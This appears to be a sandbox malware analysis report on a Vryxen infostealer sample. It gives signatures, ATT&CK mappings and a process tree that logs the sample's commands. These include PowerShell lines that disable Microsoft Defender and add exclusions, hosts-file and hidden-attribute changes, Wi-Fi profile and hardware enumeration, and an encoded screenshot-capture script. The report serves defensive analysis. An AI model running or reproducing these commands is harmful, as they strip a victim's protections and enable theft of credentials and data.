Overview

overview

10

Static

static

10

a7e4f79469...b9.exe

windows10-2004-x64

10

a7e4f79469...b9.exe

windows11-ltsc_2024-x64

10

Analysis

  • max time kernel
    150s
  • max time network
    143s
  • platform
    windows11-ltsc_2024_x64
  • resource
    win11ltsc2024-20260911-en
  • resource tags

    arch:x64arch:x86image:win11ltsc2024-20260911-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
  • submitted
    12/10/2026, 15:00

Sharing

Copy URL Twitter E-mail
Report Analysis Logs

General

  • Target
    a7e4f7946933f34bef86c7a90a777996b24bcc3a3e091f651fd63cff0a8186b9.exe
  • Size 10.5MB
  • Sample261012-sdps9asz9p
  • SHA256 a7e4f7946933f34bef86c7a90a777996b24bcc3a3e091f651fd63cff0a8186b9
  • MD5 SHA1 SHA512 SSDEEP TLSH
Score
10/10
credential_accessdefense_evasiondiscoveryexecutionvryxenpersistenceprivilege_escalationspywarestealertrojan

Malware Config

Signatures

  • Family: Vryxen

    Vryxen is an open-source stealer written in Golang.

    stealervryxen
  • Detects Vryxen stealer 1 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

    Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

    execution
  • Disables one or more Microsoft Defender components 1 TTPs 1 IoCs

    Uses the Powershell Set-MpPreference cmdlet to disable one or more Microsoft Defender components.

    defense_evasion
  • Drops file in Drivers directory 3 IoCs
  • Executes dropped EXE 1 IoCs
  • Reads WinSCP keys stored on the system 2 TTPs

    Tries to access WinSCP stored sessions.

    spywarestealer
  • Reads data files stored by FTP clients 2 TTPs

    Tries to access configuration files associated with programs like FileZilla.

    spywarestealer
  • Reads user/profile data of web browsers 3 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

    spywarestealer
  • Unsecured Credentials: Credentials In Files 1 TTPs

    Steal credentials from unsecured files.

    credential_accessstealer
  • Adds Run key to start application 2 TTPs 1 IoCs
    persistence
  • Contacts third-party web service commonly abused for C2 1 TTPs 2 IoCs

    Legitimate web (hosting) services can be abused by malware authors to host malware or C2s.

  • Looks up external IP address via web service 1 TTPs 1 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

    discovery
  • Obfuscated Files or Information: Command Obfuscation 1 TTPs

    Adversaries may obfuscate content during command execution to impede detection.

    defense_evasion
  • Detect suspicious telegram bot 1 IoCs

    Detect suspicious telegram bot.

  • Discovers running processes 1 TTPs 36 IoCs

    Running process information can be used to identify security tools or plan follow-on actions.

    discovery
  • Drops file in System32 directory 2 IoCs
  • Drops file in Windows directory 4 IoCs
  • Queries system WMI classes for hardware identifiers 2 TTPs 1 IoCs

    Uses WMI to read hardware serial numbers or the system UUID, commonly used to fingerprint the victim machine.

    discovery
  • Browser Information Discovery 1 TTPs

    Enumerate browser information.

    discovery
  • Event Triggered Execution: Netsh Helper DLL 1 TTPs 3 IoCs

    Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system.

    persistenceprivilege_escalation
  • Executes a command shell one-liner 1 TTPs 34 IoCs

    Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

    execution
  • Modifies trusted root certificate store through registry 1 TTPs 2 IoCs

    A root certificate was added, modified, or removed in the trusted certificate store registry paths.

    defense_evasion
  • Reads the TCP/IP host and domain name from the registry 1 TTPs 10 IoCs

    The configured hostname and DNS domain identify the machine and are commonly collected to profile a host before it reports in.

    discovery
  • System Network Configuration Discovery: Wi-Fi Discovery 1 TTPs 1 IoCs

    Adversaries may search for information about Wi-Fi networks, such as network names and passwords, on compromised systems.

    discovery
  • Detects videocard installed 1 TTPs 1 IoCs

    Uses WMIC.exe to determine videocard installed.

  • GoLang User-Agent 1 IoCs

    Uses default user-agent string defined by GoLang HTTP packages.

  • Modifies system certificate store 2 TTPs 6 IoCs
    defense_evasionspywaretrojan
  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs
  • Views/modifies file attributes 1 TTPs 4 IoCs
    defense_evasion

Processes

  • C:\Users\Admin\AppData\Local\Temp\a7e4f7946933f34bef86c7a90a777996b24bcc3a3e091f651fd63cff0a8186b9.exe
    "C:\Users\Admin\AppData\Local\Temp\a7e4f7946933f34bef86c7a90a777996b24bcc3a3e091f651fd63cff0a8186b9.exe"
    1⤵
    • Drops file in Drivers directory
    • Adds Run key to start application
    • Modifies trusted root certificate store through registry
    • Reads the TCP/IP host and domain name from the registry
    • Modifies system certificate store
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:5240
    • C:\Windows\system32\cmd.exe
      cmd /C tasklist /FI "IMAGENAME eq 360chrome.exe"
      2⤵
      • Executes a command shell one-liner
      • Suspicious use of WriteProcessMemory
      PID:1796
      • C:\Windows\system32\tasklist.exe
        tasklist /FI "IMAGENAME eq 360chrome.exe"
        3⤵
        • Discovers running processes
        • Suspicious use of AdjustPrivilegeToken
        PID:248
    • C:\Windows\system32\cmd.exe
      cmd /C tasklist /FI "IMAGENAME eq 360se.exe"
      2⤵
      • Executes a command shell one-liner
      • Suspicious use of WriteProcessMemory
      PID:5816
      • C:\Windows\system32\tasklist.exe
        tasklist /FI "IMAGENAME eq 360se.exe"
        3⤵
        • Discovers running processes
        • Suspicious use of AdjustPrivilegeToken
        PID:2752
    • C:\Windows\system32\cmd.exe
      cmd /C tasklist /FI "IMAGENAME eq avant.exe"
      2⤵
      • Executes a command shell one-liner
      • Suspicious use of WriteProcessMemory
      PID:2356
      • C:\Windows\system32\tasklist.exe
        tasklist /FI "IMAGENAME eq avant.exe"
        3⤵
        • Discovers running processes
        • Suspicious use of AdjustPrivilegeToken
        PID:1112
    • C:\Windows\system32\cmd.exe
      cmd /C tasklist /FI "IMAGENAME eq brave.exe"
      2⤵
      • Executes a command shell one-liner
      • Suspicious use of WriteProcessMemory
      PID:4932
      • C:\Windows\system32\tasklist.exe
        tasklist /FI "IMAGENAME eq brave.exe"
        3⤵
        • Discovers running processes
        • Suspicious use of AdjustPrivilegeToken
        PID:3400
    • C:\Windows\system32\cmd.exe
      cmd /C tasklist /FI "IMAGENAME eq chrome.exe"
      2⤵
      • Executes a command shell one-liner
      • Suspicious use of WriteProcessMemory
      PID:5268
      • C:\Windows\system32\tasklist.exe
        tasklist /FI "IMAGENAME eq chrome.exe"
        3⤵
        • Discovers running processes
        • Suspicious use of AdjustPrivilegeToken
        PID:1164
    • C:\Windows\system32\cmd.exe
      cmd /C tasklist /FI "IMAGENAME eq chromium.exe"
      2⤵
      • Executes a command shell one-liner
      • Suspicious use of WriteProcessMemory
      PID:4364
      • C:\Windows\system32\tasklist.exe
        tasklist /FI "IMAGENAME eq chromium.exe"
        3⤵
        • Discovers running processes
        • Suspicious use of AdjustPrivilegeToken
        PID:2888
    • C:\Windows\system32\cmd.exe
      cmd /C tasklist /FI "IMAGENAME eq citrio.exe"
      2⤵
      • Executes a command shell one-liner
      • Suspicious use of WriteProcessMemory
      PID:4308
      • C:\Windows\system32\tasklist.exe
        tasklist /FI "IMAGENAME eq citrio.exe"
        3⤵
        • Discovers running processes
        • Suspicious use of AdjustPrivilegeToken
        PID:3540
    • C:\Windows\system32\cmd.exe
      cmd /C tasklist /FI "IMAGENAME eq comodo_dragon.exe"
      2⤵
      • Executes a command shell one-liner
      • Suspicious use of WriteProcessMemory
      PID:4968
      • C:\Windows\system32\tasklist.exe
        tasklist /FI "IMAGENAME eq comodo_dragon.exe"
        3⤵
        • Discovers running processes
        • Suspicious use of AdjustPrivilegeToken
        PID:3932
    • C:\Windows\system32\cmd.exe
      cmd /C tasklist /FI "IMAGENAME eq coolnovo.exe"
      2⤵
      • Executes a command shell one-liner
      • Suspicious use of WriteProcessMemory
      PID:5872
      • C:\Windows\system32\tasklist.exe
        tasklist /FI "IMAGENAME eq coolnovo.exe"
        3⤵
        • Discovers running processes
        • Suspicious use of AdjustPrivilegeToken
        PID:5100
    • C:\Windows\system32\cmd.exe
      cmd /C tasklist /FI "IMAGENAME eq coowon.exe"
      2⤵
      • Executes a command shell one-liner
      • Suspicious use of WriteProcessMemory
      PID:4340
      • C:\Windows\system32\tasklist.exe
        tasklist /FI "IMAGENAME eq coowon.exe"
        3⤵
        • Discovers running processes
        • Suspicious use of AdjustPrivilegeToken
        PID:4864
    • C:\Windows\system32\cmd.exe
      cmd /C tasklist /FI "IMAGENAME eq cyberfox.exe"
      2⤵
      • Executes a command shell one-liner
      • Suspicious use of WriteProcessMemory
      PID:5892
      • C:\Windows\system32\tasklist.exe
        tasklist /FI "IMAGENAME eq cyberfox.exe"
        3⤵
        • Discovers running processes
        • Suspicious use of AdjustPrivilegeToken
        PID:5144
    • C:\Windows\system32\cmd.exe
      cmd /C tasklist /FI "IMAGENAME eq deepnet.exe"
      2⤵
      • Executes a command shell one-liner
      • Suspicious use of WriteProcessMemory
      PID:2860
      • C:\Windows\system32\tasklist.exe
        tasklist /FI "IMAGENAME eq deepnet.exe"
        3⤵
        • Discovers running processes
        • Suspicious use of AdjustPrivilegeToken
        PID:5340
    • C:\Windows\system32\cmd.exe
      cmd /C tasklist /FI "IMAGENAME eq dooble.exe"
      2⤵
      • Executes a command shell one-liner
      • Suspicious use of WriteProcessMemory
      PID:4296
      • C:\Windows\system32\tasklist.exe
        tasklist /FI "IMAGENAME eq dooble.exe"
        3⤵
        • Discovers running processes
        • Suspicious use of AdjustPrivilegeToken
        PID:3428
    • C:\Windows\system32\cmd.exe
      cmd /C tasklist /FI "IMAGENAME eq epic.exe"
      2⤵
      • Executes a command shell one-liner
      • Suspicious use of WriteProcessMemory
      PID:3676
      • C:\Windows\system32\tasklist.exe
        tasklist /FI "IMAGENAME eq epic.exe"
        3⤵
        • Discovers running processes
        • Suspicious use of AdjustPrivilegeToken
        PID:5420
    • C:\Windows\system32\cmd.exe
      cmd /C tasklist /FI "IMAGENAME eq firefox.exe"
      2⤵
      • Executes a command shell one-liner
      • Suspicious use of WriteProcessMemory
      PID:3940
      • C:\Windows\system32\tasklist.exe
        tasklist /FI "IMAGENAME eq firefox.exe"
        3⤵
        • Discovers running processes
        • Suspicious use of AdjustPrivilegeToken
        PID:920
    • C:\Windows\system32\cmd.exe
      cmd /C tasklist /FI "IMAGENAME eq iceweasel.exe"
      2⤵
      • Executes a command shell one-liner
      • Suspicious use of WriteProcessMemory
      PID:2740
      • C:\Windows\system32\tasklist.exe
        tasklist /FI "IMAGENAME eq iceweasel.exe"
        3⤵
        • Discovers running processes
        • Suspicious use of AdjustPrivilegeToken
        PID:3852
    • C:\Windows\system32\cmd.exe
      cmd /C tasklist /FI "IMAGENAME eq iridium.exe"
      2⤵
      • Executes a command shell one-liner
      • Suspicious use of WriteProcessMemory
      PID:4164
      • C:\Windows\system32\tasklist.exe
        tasklist /FI "IMAGENAME eq iridium.exe"
        3⤵
        • Discovers running processes
        • Suspicious use of AdjustPrivilegeToken
        PID:4972
    • C:\Windows\system32\cmd.exe
      cmd /C tasklist /FI "IMAGENAME eq k-meleon.exe"
      2⤵
      • Executes a command shell one-liner
      • Suspicious use of WriteProcessMemory
      PID:1108
      • C:\Windows\system32\tasklist.exe
        tasklist /FI "IMAGENAME eq k-meleon.exe"
        3⤵
        • Discovers running processes
        • Suspicious use of AdjustPrivilegeToken
        PID:1820
    • C:\Windows\system32\cmd.exe
      cmd /C tasklist /FI "IMAGENAME eq maxthon.exe"
      2⤵
      • Executes a command shell one-liner
      • Suspicious use of WriteProcessMemory
      PID:4648
      • C:\Windows\system32\tasklist.exe
        tasklist /FI "IMAGENAME eq maxthon.exe"
        3⤵
        • Discovers running processes
        • Suspicious use of AdjustPrivilegeToken
        PID:1092
    • C:\Windows\system32\cmd.exe
      cmd /C tasklist /FI "IMAGENAME eq msedge.exe"
      2⤵
      • Executes a command shell one-liner
      • Suspicious use of WriteProcessMemory
      PID:2948
      • C:\Windows\system32\tasklist.exe
        tasklist /FI "IMAGENAME eq msedge.exe"
        3⤵
        • Discovers running processes
        • Suspicious use of AdjustPrivilegeToken
        PID:4900
    • C:\Windows\system32\cmd.exe
      cmd /C tasklist /FI "IMAGENAME eq netscape.exe"
      2⤵
      • Executes a command shell one-liner
      • Suspicious use of WriteProcessMemory
      PID:4060
      • C:\Windows\system32\tasklist.exe
        tasklist /FI "IMAGENAME eq netscape.exe"
        3⤵
        • Discovers running processes
        • Suspicious use of AdjustPrivilegeToken
        PID:3436
    • C:\Windows\system32\cmd.exe
      cmd /C tasklist /FI "IMAGENAME eq opera.exe"
      2⤵
      • Executes a command shell one-liner
      • Suspicious use of WriteProcessMemory
      PID:4360
      • C:\Windows\system32\tasklist.exe
        tasklist /FI "IMAGENAME eq opera.exe"
        3⤵
        • Discovers running processes
        • Suspicious use of AdjustPrivilegeToken
        PID:3612
    • C:\Windows\system32\cmd.exe
      cmd /C tasklist /FI "IMAGENAME eq palemoon.exe"
      2⤵
      • Executes a command shell one-liner
      • Suspicious use of WriteProcessMemory
      PID:5580
      • C:\Windows\system32\tasklist.exe
        tasklist /FI "IMAGENAME eq palemoon.exe"
        3⤵
        • Discovers running processes
        • Suspicious use of AdjustPrivilegeToken
        PID:708
    • C:\Windows\system32\cmd.exe
      cmd /C tasklist /FI "IMAGENAME eq safari.exe"
      2⤵
      • Executes a command shell one-liner
      • Suspicious use of WriteProcessMemory
      PID:3416
      • C:\Windows\system32\tasklist.exe
        tasklist /FI "IMAGENAME eq safari.exe"
        3⤵
        • Discovers running processes
        • Suspicious use of AdjustPrivilegeToken
        PID:4840
    • C:\Windows\system32\cmd.exe
      cmd /C tasklist /FI "IMAGENAME eq seamonkey.exe"
      2⤵
      • Executes a command shell one-liner
      • Suspicious use of WriteProcessMemory
      PID:1212
      • C:\Windows\system32\tasklist.exe
        tasklist /FI "IMAGENAME eq seamonkey.exe"
        3⤵
        • Discovers running processes
        • Suspicious use of AdjustPrivilegeToken
        PID:6036
    • C:\Windows\system32\cmd.exe
      cmd /C tasklist /FI "IMAGENAME eq sleipnir.exe"
      2⤵
      • Executes a command shell one-liner
      • Suspicious use of WriteProcessMemory
      PID:4228
      • C:\Windows\system32\tasklist.exe
        tasklist /FI "IMAGENAME eq sleipnir.exe"
        3⤵
        • Discovers running processes
        • Suspicious use of AdjustPrivilegeToken
        PID:2292
    • C:\Windows\system32\cmd.exe
      cmd /C tasklist /FI "IMAGENAME eq sputnik.exe"
      2⤵
      • Executes a command shell one-liner
      • Suspicious use of WriteProcessMemory
      PID:4732
      • C:\Windows\system32\tasklist.exe
        tasklist /FI "IMAGENAME eq sputnik.exe"
        3⤵
        • Discovers running processes
        • Suspicious use of AdjustPrivilegeToken
        PID:3316
    • C:\Windows\system32\cmd.exe
      cmd /C tasklist /FI "IMAGENAME eq torch.exe"
      2⤵
      • Executes a command shell one-liner
      • Suspicious use of WriteProcessMemory
      PID:3724
      • C:\Windows\system32\tasklist.exe
        tasklist /FI "IMAGENAME eq torch.exe"
        3⤵
        • Discovers running processes
        • Suspicious use of AdjustPrivilegeToken
        PID:4656
    • C:\Windows\system32\cmd.exe
      cmd /C tasklist /FI "IMAGENAME eq ucbrowser.exe"
      2⤵
      • Executes a command shell one-liner
      • Suspicious use of WriteProcessMemory
      PID:3656
      • C:\Windows\system32\tasklist.exe
        tasklist /FI "IMAGENAME eq ucbrowser.exe"
        3⤵
        • Discovers running processes
        • Suspicious use of AdjustPrivilegeToken
        PID:696
    • C:\Windows\system32\cmd.exe
      cmd /C tasklist /FI "IMAGENAME eq vivaldi.exe"
      2⤵
      • Executes a command shell one-liner
      • Suspicious use of WriteProcessMemory
      PID:5832
      • C:\Windows\system32\tasklist.exe
        tasklist /FI "IMAGENAME eq vivaldi.exe"
        3⤵
        • Discovers running processes
        • Suspicious use of AdjustPrivilegeToken
        PID:1196
    • C:\Windows\system32\cmd.exe
      cmd /C tasklist /FI "IMAGENAME eq waterfox.exe"
      2⤵
      • Executes a command shell one-liner
      • Suspicious use of WriteProcessMemory
      PID:5676
      • C:\Windows\system32\tasklist.exe
        tasklist /FI "IMAGENAME eq waterfox.exe"
        3⤵
        • Discovers running processes
        • Suspicious use of AdjustPrivilegeToken
        PID:2792
    • C:\Windows\system32\cmd.exe
      cmd /C tasklist /FI "IMAGENAME eq yandex.exe"
      2⤵
      • Executes a command shell one-liner
      • Suspicious use of WriteProcessMemory
      PID:1788
      • C:\Windows\system32\tasklist.exe
        tasklist /FI "IMAGENAME eq yandex.exe"
        3⤵
        • Discovers running processes
        • Suspicious use of AdjustPrivilegeToken
        PID:5844
    • C:\Windows\system32\cmd.exe
      cmd /C tasklist /FI "IMAGENAME eq yandexbrowser.exe"
      2⤵
      • Executes a command shell one-liner
      PID:3212
      • C:\Windows\system32\tasklist.exe
        tasklist /FI "IMAGENAME eq yandexbrowser.exe"
        3⤵
        • Discovers running processes
        • Suspicious use of AdjustPrivilegeToken
        PID:3328
    • C:\Windows\system32\cmd.exe
      cmd /C tasklist /FI "IMAGENAME eq operagx.exe"
      2⤵
      • Executes a command shell one-liner
      PID:2696
      • C:\Windows\system32\tasklist.exe
        tasklist /FI "IMAGENAME eq operagx.exe"
        3⤵
        • Discovers running processes
        • Suspicious use of AdjustPrivilegeToken
        PID:4896
    • C:\Windows\system32\attrib.exe
      attrib +h +s C:\Users\Admin\AppData\Local\Temp\a7e4f7946933f34bef86c7a90a777996b24bcc3a3e091f651fd63cff0a8186b9.exe
      2⤵
      • Views/modifies file attributes
      PID:5780
    • C:\Windows\system32\reagentc.exe
      reagentc.exe /disable
      2⤵
      • Drops file in System32 directory
      • Drops file in Windows directory
      PID:2060
    • C:\Windows\system32\tasklist.exe
      tasklist
      2⤵
      • Discovers running processes
      • Suspicious use of AdjustPrivilegeToken
      PID:5500
    • C:\Windows\system32\attrib.exe
      attrib +h +s C:\Users\Admin\AppData\Roaming\Microsoft\Protect\SecurityHealthSystray.exe
      2⤵
      • Views/modifies file attributes
      PID:404
    • C:\Windows\system32\tasklist.exe
      tasklist
      2⤵
      • Discovers running processes
      • Suspicious use of AdjustPrivilegeToken
      PID:4848
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -Command Add-MpPreference -ExclusionPath C:\Users\Admin\AppData\Local\Temp\a7e4f7946933f34bef86c7a90a777996b24bcc3a3e091f651fd63cff0a8186b9.exe
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:5588
    • C:\Windows\System32\Wbem\wmic.exe
      wmic os get Caption
      2⤵
      • Reads the TCP/IP host and domain name from the registry
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:632
    • C:\Windows\System32\Wbem\wmic.exe
      wmic cpu get Name
      2⤵
      • Reads the TCP/IP host and domain name from the registry
      • Suspicious behavior: EnumeratesProcesses
      PID:5360
    • C:\Windows\System32\Wbem\wmic.exe
      wmic path win32_VideoController get name
      2⤵
      • Reads the TCP/IP host and domain name from the registry
      • Detects videocard installed
      • Suspicious behavior: EnumeratesProcesses
      PID:2556
    • C:\Windows\System32\Wbem\wmic.exe
      wmic csproduct get UUID
      2⤵
      • Queries system WMI classes for hardware identifiers
      • Reads the TCP/IP host and domain name from the registry
      • Suspicious behavior: EnumeratesProcesses
      PID:2920
    • C:\Windows\system32\netsh.exe
      netsh wlan show profiles
      2⤵
      • Event Triggered Execution: Netsh Helper DLL
      • System Network Configuration Discovery: Wi-Fi Discovery
      PID:4800
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Disables one or more Microsoft Defender components
      PID:5340
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell.exe -NoProfile -ExecutionPolicy Bypass -EncodedCommand JABzAG8AdQByAGMAZQAgAD0AIABAACIADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtADsADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtAC4AQwBvAGwAbABlAGMAdABpAG8AbgBzAC4ARwBlAG4AZQByAGkAYwA7AA0ACgB1AHMAaQBuAGcAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcAOwANAAoAdQBzAGkAbgBnACAAUwB5AHMAdABlAG0ALgBXAGkAbgBkAG8AdwBzAC4ARgBvAHIAbQBzADsADQAKAA0ACgBwAHUAYgBsAGkAYwAgAGMAbABhAHMAcwAgAFMAYwByAGUAZQBuAHMAaABvAHQADQAKAHsADQAKACAAIAAgACAAcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAEwAaQBzAHQAPABCAGkAdABtAGEAcAA+ACAAQwBhAHAAdAB1AHIAZQBTAGMAcgBlAGUAbgBzACgAKQANAAoAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAdgBhAHIAIAByAGUAcwB1AGwAdABzACAAPQAgAG4AZQB3ACAATABpAHMAdAA8AEIAaQB0AG0AYQBwAD4AKAApADsADQAKACAAIAAgACAAIAAgACAAIAB2AGEAcgAgAGEAbABsAFMAYwByAGUAZQBuAHMAIAA9ACAAUwBjAHIAZQBlAG4ALgBBAGwAbABTAGMAcgBlAGUAbgBzADsADQAKAA0ACgAgACAAIAAgACAAIAAgACAAZgBvAHIAZQBhAGMAaAAgACgAUwBjAHIAZQBlAG4AIABzAGMAcgBlAGUAbgAgAGkAbgAgAGEAbABsAFMAYwByAGUAZQBuAHMAKQANAAoAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHQAcgB5AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAFIAZQBjAHQAYQBuAGcAbABlACAAYgBvAHUAbgBkAHMAIAA9ACAAcwBjAHIAZQBlAG4ALgBCAG8AdQBuAGQAcwA7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHUAcwBpAG4AZwAgACgAQgBpAHQAbQBhAHAAIABiAGkAdABtAGEAcAAgAD0AIABuAGUAdwAgAEIAaQB0AG0AYQBwACgAYgBvAHUAbgBkAHMALgBXAGkAZAB0AGgALAAgAGIAbwB1AG4AZABzAC4ASABlAGkAZwBoAHQAKQApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAB1AHMAaQBuAGcAIAAoAEcAcgBhAHAAaABpAGMAcwAgAGcAcgBhAHAAaABpAGMAcwAgAD0AIABHAHIAYQBwAGgAaQBjAHMALgBGAHIAbwBtAEkAbQBhAGcAZQAoAGIAaQB0AG0AYQBwACkAKQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAGcAcgBhAHAAaABpAGMAcwAuAEMAbwBwAHkARgByAG8AbQBTAGMAcgBlAGUAbgAoAG4AZQB3ACAAUABvAGkAbgB0ACgAYgBvAHUAbgBkAHMALgBMAGUAZgB0ACwAIABiAG8AdQBuAGQAcwAuAFQAbwBwACkALAAgAFAAbwBpAG4AdAAuAEUAbQBwAHQAeQAsACAAYgBvAHUAbgBkAHMALgBTAGkAegBlACkAOwANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAcgBlAHMAdQBsAHQAcwAuAEEAZABkACgAKABCAGkAdABtAGEAcAApAGIAaQB0AG0AYQBwAC4AQwBsAG8AbgBlACgAKQApADsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAYwBhAHQAYwBoACAAKABFAHgAYwBlAHAAdABpAG8AbgApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAC8ALwAgAEgAYQBuAGQAbABlACAAYQBuAHkAIABlAHgAYwBlAHAAdABpAG8AbgBzACAAaABlAHIAZQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAcgBlAHQAdQByAG4AIAByAGUAcwB1AGwAdABzADsADQAKACAAIAAgACAAfQANAAoAfQANAAoAIgBAAA0ACgANAAoAQQBkAGQALQBUAHkAcABlACAALQBUAHkAcABlAEQAZQBmAGkAbgBpAHQAaQBvAG4AIAAkAHMAbwB1AHIAYwBlACAALQBSAGUAZgBlAHIAZQBuAGMAZQBkAEEAcwBzAGUAbQBiAGwAaQBlAHMAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcALAAgAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwANAAoADQAKACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzACAAPQAgAFsAUwBjAHIAZQBlAG4AcwBoAG8AdABdADoAOgBDAGEAcAB0AHUAcgBlAFMAYwByAGUAZQBuAHMAKAApAA0ACgANAAoADQAKAGYAbwByACAAKAAkAGkAIAA9ACAAMAA7ACAAJABpACAALQBsAHQAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQAcwAuAEMAbwB1AG4AdAA7ACAAJABpACsAKwApAHsADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0ACAAPQAgACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzAFsAJABpAF0ADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0AC4AUwBhAHYAZQAoACIALgAvAEQAaQBzAHAAbABhAHkAIAAoACQAKAAkAGkAKwAxACkAKQAuAHAAbgBnACIAKQANAAoAIAAgACAAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQALgBEAGkAcwBwAG8AcwBlACgAKQANAAoAfQA=
      2⤵
        PID:5860
        • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
          "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\0ip1pn5y\0ip1pn5y.cmdline"
          3⤵
            PID:2756
            • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
              C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES8EAA.tmp" "c:\Users\Admin\AppData\Local\Temp\0ip1pn5y\CSC4B2EBEF665AC4BA6BB3DC23E73F3DAE1.TMP"
              4⤵
                PID:2236
          • C:\Windows\system32\attrib.exe
            attrib -r C:\Windows\System32\drivers\etc\hosts
            2⤵
            • Drops file in Drivers directory
            • Views/modifies file attributes
            PID:1416
          • C:\Windows\system32\attrib.exe
            attrib +r C:\Windows\System32\drivers\etc\hosts
            2⤵
            • Drops file in Drivers directory
            • Views/modifies file attributes
            PID:708
        • C:\Windows\System32\svchost.exe
          C:\Windows\System32\svchost.exe -k netsvcs -p -s BDESVC
          1⤵
          • Suspicious use of AdjustPrivilegeToken
          PID:5944
        • C:\Users\Admin\AppData\Roaming\Microsoft\Protect\SecurityHealthSystray.exe
          C:\Users\Admin\AppData\Roaming\Microsoft\Protect\SecurityHealthSystray.exe
          1⤵
          • Executes dropped EXE
          • Suspicious use of AdjustPrivilegeToken
          PID:5616

        Network

              MITRE ATT&CK Enterprise v16

              Reconnaissance

              Resource Development

              Initial Access

              Execution

              Command and Scripting Interpreter

              2
              T1059

              PowerShell

              1
              T1059.001

              Windows Command Shell

              1
              T1059.003

              Windows Management Instrumentation

              1
              T1047

              Persistence

              Boot or Logon Autostart Execution

              1
              T1547

              Registry Run Keys / Startup Folder

              1
              T1547.001

              Event Triggered Execution

              1
              T1546

              Netsh Helper DLL

              1
              T1546.007

              Privilege Escalation

              Boot or Logon Autostart Execution

              1
              T1547

              Registry Run Keys / Startup Folder

              1
              T1547.001

              Event Triggered Execution

              1
              T1546

              Netsh Helper DLL

              1
              T1546.007

              Defense Evasion

              Hide Artifacts

              1
              T1564

              Hidden Files and Directories

              1
              T1564.001

              Impair Defenses

              1
              T1562

              Disable or Modify Tools

              1
              T1562.001

              Modify Registry

              2
              T1112

              Obfuscated Files or Information

              1
              T1027

              Command Obfuscation

              1
              T1027.010

              Subvert Trust Controls

              2
              T1553

              Install Root Certificate

              2
              T1553.004

              Credential Access

              Credentials from Password Stores

              1
              T1555

              Credentials from Web Browsers

              1
              T1555.003

              Unsecured Credentials

              4
              T1552

              Credentials In Files

              3
              T1552.001

              Credentials in Registry

              1
              T1552.002

              Discovery

              Browser Information Discovery

              1
              T1217

              Process Discovery

              1
              T1057

              System Information Discovery

              2
              T1082

              System Network Configuration Discovery

              3
              T1016

              Internet Connection Discovery

              1
              T1016.001

              Wi-Fi Discovery

              1
              T1016.002

              Lateral Movement

              Collection

              Data from Local System

              3
